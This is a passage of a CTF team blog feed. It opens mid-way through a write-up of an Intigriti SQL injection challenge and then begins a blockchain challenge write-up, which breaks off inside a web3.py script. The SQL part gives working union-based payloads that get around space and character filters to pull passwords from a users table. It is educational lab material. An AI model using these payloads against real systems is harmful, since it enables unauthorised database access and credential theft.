/blog/hoangdayne/intigrity-monthly-0923/php_number_hu005304ac442cc80a4219bdcbd84e7ef8_50787_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/hoangdayne/intigrity-monthly-0923/php_number_hu005304ac442cc80a4219bdcbd84e7ef8_50787_f8acf26f479e71d8115fa092f7831cdd.webp"
width="760"
height="497"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
So we only need a &lt;strong>number &amp;gt; 0&lt;/strong> at the &lt;strong>first character&lt;/strong> of the payload, we&amp;rsquo;re good to move on.&lt;/p>
&lt;h3 id="no-whitespaces">No whitespaces&lt;/h3>
&lt;p>Any payloads that contain white space or newline characters are filtered.&lt;/p>
&lt;p>Comments for whitespaces will fail as it blocks character &lt;code>/&lt;/code>.&lt;/p>
&lt;p>There are a few payloads with alternative characters, unicodes that I have tried and failed like: &lt;code>%a0, %09, %0a, ...&lt;/code>&lt;/p>
&lt;p>There are still other ways.&lt;/p>
&lt;p>Taking this from &lt;a href="https://book.hacktricks.xyz/pentesting-web/sql-injection#no-spaces-bypass" target="_blank" rel="noopener">Hacktricks&lt;/a>, we may already find the payload we need:
&lt;code>?max=(1)and(1)=(1)&lt;/code>.&lt;/p>
&lt;p>Nice👌.&lt;/p>
&lt;p>However, if you apply this right away it would not work as it requires a &lt;strong>leading numeric character&lt;/strong> in the payload. We can use arithmetic operators to utilize this.&lt;/p>
&lt;p>Operator &lt;code>*&lt;/code> multiply is not filtered. &lt;code>?max=1*(2)and(1)=(1)&lt;/code>&lt;/p>
&lt;h3 id="desired-characters-are-blocked">Desired characters are blocked&lt;/h3>
&lt;p>We can already construct a payload for &lt;strong>Union-Based&lt;/strong> SQL Injection.&lt;/p>
&lt;p>The payload for it may be: &lt;code>1 union select 1,2,password from users&lt;/code>&lt;/p>
&lt;p>Bad news: &lt;code>&amp;quot;password&amp;quot;&lt;/code> has character a &amp;ldquo;a&amp;rdquo; which is filtered.&lt;/p>
&lt;p>Good news: &lt;a href="https://book.hacktricks.xyz/pentesting-web/sql-injection#bypass-column-names-restriction" target="_blank" rel="noopener">Hacktricks&lt;/a> also offers us another way around.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">-- This is an example with 3 columns that will extract the column number 3
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">UNION&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">F&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">UNION&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">demo&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">F&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="constructing-payload">Constructing payload&lt;/h2>
&lt;h3 id="our-union-select">Our union select&lt;/h3>
&lt;p>Let&amp;rsquo;s start with making our union select, provided that there are no filters applied.&lt;/p>
&lt;p>It would be:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="mi">1&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">UNION&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">users&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="without-using-a-column-name">Without using a column name&lt;/h3>
&lt;p>Column &lt;code>&amp;quot;password&amp;quot;&lt;/code> is the fourth column of the table users. So the payload from the previous section would be:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="mi">1&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">UNION&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">F&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">UNION&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">users&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">F&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="c1">-- Extracting the fourth column with a table with 4 columns
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="combine-with-no-spaces-using-parentheses">Combine with no spaces using parentheses&lt;/h3>
&lt;p>This is a tedious and annoying part to explain so I just leave it right here for you to think about and try:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="mi">1&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="k">union&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">),(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">),((&lt;/span>&lt;span class="n">F&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">))&lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">),(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">),(&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">),(&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="k">union&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">users&lt;/span>&lt;span class="p">)))&lt;/span>&lt;span class="n">F&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="try-it-out">Try it out&lt;/h3>
&lt;p>
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/hoangdayne/intigrity-monthly-0923/try_fail_hu61f8ceb87765f7f90b2ffbf38b39264d_23677_f18511fc0d3df91a6aaaa2fa5c8a70a3.webp 400w,
/blog/hoangdayne/intigrity-monthly-0923/try_fail_hu61f8ceb87765f7f90b2ffbf38b39264d_23677_03abc5bba61d9f0dc98c61763726268a.webp 760w,
/blog/hoangdayne/intigrity-monthly-0923/try_fail_hu61f8ceb87765f7f90b2ffbf38b39264d_23677_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/hoangdayne/intigrity-monthly-0923/try_fail_hu61f8ceb87765f7f90b2ffbf38b39264d_23677_f18511fc0d3df91a6aaaa2fa5c8a70a3.webp"
width="760"
height="227"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;/p>
&lt;p>The payload seems to work pretty well, but the flag should be there right? Unfortunately, &lt;strong>no&lt;/strong>.&lt;/p>
&lt;p>The problem is right here:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-php" data-lang="php">&lt;span class="line">&lt;span class="ln">1&lt;/span>&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span>&lt;span class="nx">td&lt;/span>&lt;span class="o">&amp;gt;&amp;lt;?=&lt;/span> &lt;span class="nx">htmlspecialchars&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">strpos&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$row&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;id&amp;#39;&lt;/span>&lt;span class="p">],&lt;/span>&lt;span class="s2">&amp;#34;INTIGRITI&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">===&lt;/span>&lt;span class="k">false&lt;/span>&lt;span class="o">?&lt;/span>&lt;span class="nv">$row&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;id&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="s2">&amp;#34;REDACTED&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="cp">?&amp;gt;&lt;/span>&lt;span class="err">&amp;lt;/td&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">2&lt;/span>&lt;span class="cl">&lt;span class="err">&amp;lt;td&amp;gt;&amp;lt;?= htmlspecialchars(strpos($row[&amp;#39;name&amp;#39;],&amp;#34;INTIGRITI&amp;#34;)===false?$row[&amp;#39;name&amp;#39;]:&amp;#34;REDACTED&amp;#34;); ?&amp;gt;&amp;lt;/td&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">3&lt;/span>&lt;span class="cl">&lt;span class="err">&amp;lt;td&amp;gt;&amp;lt;?= htmlspecialchars(strpos($row[&amp;#39;email&amp;#39;],&amp;#34;INTIGRITI&amp;#34;)===false?$row[&amp;#39;email&amp;#39;]:&amp;#34;REDACTED&amp;#34;); ?&amp;gt;&amp;lt;/td&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If our result contains &lt;code>&amp;quot;INTIGRITI&amp;quot;&lt;/code> (which is the flag) it will return &lt;code>&amp;quot;REDACTED&amp;quot;&lt;/code>. 🛐&lt;/p>
&lt;h3 id="final-touch">Final touch&lt;/h3>
&lt;p>We need to find a function, &lt;a href="https://dev.mysql.com/doc/refman/8.0/en/string-functions.html" target="_blank" rel="noopener">a string function&lt;/a> to be precise, that can make the string contain the word &lt;code>&amp;quot;INTIGRITI&amp;quot;&lt;/code> no more.&lt;/p>
&lt;p>A few come to mind like: &lt;em>SUBSTR, REVERSE, FORMAT, &amp;hellip;&lt;/em> but they are all filtered this way or another.&lt;/p>
&lt;p>And there&amp;rsquo;s &lt;em>MID&lt;/em> instead of &lt;em>SUBSTR&lt;/em> &amp;hellip; Wow. Just wow. So to not return the result containing &lt;code>&amp;quot;INTIGRITI&amp;quot;&lt;/code>, we can use &lt;code>MID(str,2)&lt;/code> which skips the first character.&lt;/p>
&lt;p>&lt;em>One more thing:&lt;/em> You may use &lt;em>LOWER&lt;/em> and it still got through and the flag is still correct in this challenge.&lt;/p>
&lt;h2 id="put-it-all-together">Put it all together&lt;/h2>
&lt;p>&lt;strong>OUR&lt;/strong> final payload after using &lt;em>MID&lt;/em> will be:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="mi">1&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="k">union&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">),(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">),((&lt;/span>&lt;span class="n">MID&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">F&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)))&lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">),(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">),(&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">),(&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="k">union&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">users&lt;/span>&lt;span class="p">)))&lt;/span>&lt;span class="n">F&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/hoangdayne/intigrity-monthly-0923/final_result_hubdc1de6c3ea869878e61a0677d7a60d5_25019_937a18326a21604cbdaad0cf4e35b970.webp 400w,
/blog/hoangdayne/intigrity-monthly-0923/final_result_hubdc1de6c3ea869878e61a0677d7a60d5_25019_dd608aa653c089b0bfb8c99d9be5716b.webp 760w,
/blog/hoangdayne/intigrity-monthly-0923/final_result_hubdc1de6c3ea869878e61a0677d7a60d5_25019_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/hoangdayne/intigrity-monthly-0923/final_result_hubdc1de6c3ea869878e61a0677d7a60d5_25019_937a18326a21604cbdaad0cf4e35b970.webp"
width="760"
height="236"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;/p>
&lt;p>
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/hoangdayne/intigrity-monthly-0923/ambatukam_huc9d655114b2b17b8cfd24768afac8c7d_53042_f753399df6b457cc85e004c6ed1ae43c.webp 400w,
/blog/hoangdayne/intigrity-monthly-0923/ambatukam_huc9d655114b2b17b8cfd24768afac8c7d_53042_fccf83816e12c9c3ab05528fdaf347a9.webp 760w,
/blog/hoangdayne/intigrity-monthly-0923/ambatukam_huc9d655114b2b17b8cfd24768afac8c7d_53042_1200x1200_fit_q75_h2_lanczos.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/hoangdayne/intigrity-monthly-0923/ambatukam_huc9d655114b2b17b8cfd24768afac8c7d_53042_f753399df6b457cc85e004c6ed1ae43c.webp"
width="500"
height="504"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Overall, the challenge is quite interesting from my perspective. At first glance, the blacklist may be overwhelming for those who are not familiar with solving CTF challenges. However, with a little bit of searching and trying, failing in the process is a must, the challenge may seem not so tough after all.&lt;/p>
&lt;p>Thanks for reading and have a nice day.&lt;/p>
&lt;p>
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/hoangdayne/intigrity-monthly-0923/peace_hu2a274d53873735eb44cb7b1da634ed5f_21482_5d00da39d0caed68af8420dc3dec9628.webp 400w,
/blog/hoangdayne/intigrity-monthly-0923/peace_hu2a274d53873735eb44cb7b1da634ed5f_21482_ea9f06ea2ceb7e5ebe93cf9e2054f3f0.webp 760w,
/blog/hoangdayne/intigrity-monthly-0923/peace_hu2a274d53873735eb44cb7b1da634ed5f_21482_1200x1200_fit_q75_h2_lanczos.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/hoangdayne/intigrity-monthly-0923/peace_hu2a274d53873735eb44cb7b1da634ed5f_21482_5d00da39d0caed68af8420dc3dec9628.webp"
width="552"
height="451"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;/p>
&lt;p>P/S: There is a similar challenge on Root-me, check &lt;a href="https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Filter-bypass" target="_blank" rel="noopener">it&lt;/a> out&lt;/p></description></item><item><title>Cyber Apocalypse 2023: The Cursed Mission - Blockchain</title><link>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-bc/</link><pubDate>Mon, 27 Mar 2023 00:00:00 +0000</pubDate><guid>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-bc/</guid><description>&lt;p>
&lt;ul class="tags-list">
&lt;a href="https://bkisc-blog.netlify.app/tag/ctf/">ctf&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/writeup/">writeup&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/blockchain/">blockchain&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/htb-2023/">htb-2023&lt;/a>
&lt;/ul>
&lt;details class="toc-inpage d-print-none " open>
&lt;summary class="font-weight-bold">Table of Contents&lt;/summary>
&lt;nav id="TableOfContents">
&lt;ul>
&lt;li>&lt;a href="#navigating-the-unknown">Navigating the Unknown&lt;/a>&lt;/li>
&lt;li>&lt;a href="#shooting-101">Shooting 101&lt;/a>&lt;/li>
&lt;li>&lt;a href="#the-art-of-deception">The Art Of Deception&lt;/a>&lt;/li>
&lt;/ul>
&lt;/nav>
&lt;/details>
&lt;/p>
&lt;h2 id="navigating-the-unknown">Navigating the Unknown&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given zip:&lt;/strong> &lt;a href="https://drive.google.com/drive/folders/1c1hzJIa3CYmJ04it6Ox9a0svpxJZj2JX?usp=share_link" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Your advanced sensory systems make it easy for you to navigate familiar environments, but you must rely on intuition to navigate in unknown territories. Through practice and training, you must learn to read subtle cues and become comfortable in unpredictable situations. Can you use your software to find your way through the blocks?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Blockchain&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>In this blockchain challenge, we were provided with two smart contracts: &lt;code>Setup.sol&lt;/code> and &lt;code>Unknown.sol&lt;/code>. Our goal was to solve the challenge by interacting with the contracts and ensuring that the &lt;code>isSolved()&lt;/code> function in the Setup contract returns &lt;code>true&lt;/code>.&lt;/p>
&lt;p>The &lt;code>Setup.sol&lt;/code> contract is responsible for initializing the challenge and providing us with the necessary information to interact with the &lt;code>Unknown.sol&lt;/code> contract. The Setup contract deploys an instance of the Unknown contract and exposes the &lt;code>isSolved()&lt;/code> function, which checks if the updated variable in the Unknown contract is set to true.&lt;/p>
&lt;p>The &lt;code>Unknown.sol&lt;/code> contract contains a single function, &lt;code>updateSensors(uint256 version)&lt;/code>, which sets the updated variable to true if the provided version argument is equal to &lt;code>10&lt;/code>.&lt;/p>
&lt;p>To solve the challenge, we needed to call the updateSensors function in the Unknown contract with the correct version &lt;code>10&lt;/code>. To do this, we used the &lt;code>web3.py&lt;/code> library to interact with the blockchain and the smart contracts. This is the python script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">eth_account&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">web3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">web3&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">Web3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">PRIVATE_KEY&lt;/span>&lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;REPLACE_YOUR_PRIVATE_KEY_HERE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">RPC_URL&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;http://REPLACE_YOUR_RPC_URL_HERE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SET_UP_ADRESSS&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;REPLACE_YOUR_SET_UP_ADRESS_HERE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">UNKNOWN_ADRESSS&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;REPLACE_YOUR_UNKNOWN_ADRESS_HERE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">w3&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">Web3&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">web3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">HTTPProvider&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">RPC_URL&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">my_account&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">eth_account&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Account&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">from_key&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">PRIVATE_KEY&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SET_UP_ABI&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;inputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;stateMutability&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;nonpayable&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;constructor&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;inputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;TARGET&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;outputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;internalType&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;contract Unknown&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;address&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;stateMutability&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;view&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;function&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;inputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;isSolved&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;outputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;internalType&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bool&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
